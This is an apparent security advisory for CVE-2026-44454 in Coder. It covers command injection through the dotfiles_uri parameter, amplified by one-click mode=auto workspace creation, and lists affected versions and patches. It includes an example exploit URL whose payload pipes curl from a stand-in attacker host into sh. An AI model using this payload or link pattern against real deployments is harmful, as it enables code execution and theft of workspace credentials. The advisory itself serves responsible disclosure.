CVE-2026-44454: Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent
Command injection via dotfiles URI parameter combined with workspace auto-creation Summary The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfilesuri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace.
Published Jul 2, 2026 · Updated Jul 7, 2026
Affected packages
github.com/coder/coder/v2
- Ecosystem
- Go
- Affected
- < 2.29.7
- Fixed in
- 2.29.7
- Check
go list -m github.com/coder/coder/v2
github.com/coder/coder/v2
- Ecosystem
- Go
- Affected
- >= 2.30.0, < 2.30.2
- Fixed in
- 2.30.2
- Check
go list -m github.com/coder/coder/v2
github.com/coder/coder
- Ecosystem
- Go
- Affected
- <= 0.27.3
- Fixed in
- No patched version yet
- Check
go list -m github.com/coder/coder
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Command injection via dotfiles URI parameter combined with workspace auto-creation
Summary
The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.
Details
Command injection in the dotfiles module (root cause)
The dotfiles module interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.
Auto-creation amplification (mode=auto)
The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.
Example URL:
https://<deployment>/templates/<template>/workspace?mode=auto¶m.dotfiles_uri=foo$(curl https://attacker.example/x | sh).comImpact
Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.
Patches
coder/registry (primary fix)
Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.
- https://github.com/coder/registry/pull/703
coder/coder (defense-in-depth)
A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.
- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011)
- Patched releases:
- v2.29.7 (ESR)
- v2.30.2 (mainline)
Recognition
We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy
Credited to avivdon.
References
- https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27
- https://github.com/coder/coder/pull/22011
- https://github.com/coder/registry/pull/703
- https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb
- https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82
- https://github.com/coder/coder/releases/tag/v2.29.7
- https://github.com/coder/coder/releases/tag/v2.30.2
- https://nvd.nist.gov/vuln/detail/CVE-2026-44454
- https://github.com/advisories/GHSA-m3cr-vc2j-pm27
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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